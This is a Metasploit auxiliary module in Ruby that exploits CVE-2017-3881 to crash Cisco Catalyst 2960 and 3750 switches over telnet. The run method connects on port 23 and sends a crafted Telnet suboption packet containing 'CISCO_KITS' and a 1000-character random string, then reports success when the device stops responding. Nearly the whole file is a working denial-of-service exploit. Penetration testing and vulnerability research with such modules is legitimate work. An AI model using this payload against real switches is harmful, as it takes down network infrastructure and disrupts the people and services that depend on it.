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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Cisco IOS Telnet Denial of Service',
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      'Description'    => %q{
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        This module triggers a Denial of Service condition in the Cisco IOS
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        telnet service affecting multiple Cisco switches. Tested against Cisco
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        Catalyst 2960 and 3750.
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      },
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      'Author'      => [ 'Artem Kondratenko' ],
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      'License'     => MSF_LICENSE,
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      'References'  =>
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        [
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          ['BID', '96960'],
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          ['CVE', '2017-3881'],
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          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],
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          ['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']
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        ],
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      'DisclosureDate' => '2017-03-17'))
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    register_options([ Opt::RPORT(23) ])
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  end
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  def run
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    begin
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      connect
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      print_status "Connected to telnet service"
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      packet = sock.read(200)
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      if packet.nil?
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        print_error "Failed to get initial packet from telnet service."
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      else
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        print_status "Got initial packet from telnet service: " + packet.inspect
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      end
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      print_status "Sending Telnet DoS packet"
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      sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")
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      disconnect
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    rescue ::Rex::ConnectionRefused
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      print_status "Unable to connect to #{rhost}:#{rport}."
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    rescue ::Errno::ECONNRESET
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      print_good "DoS packet successful. #{rhost} not responding."
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    end
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  end
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end
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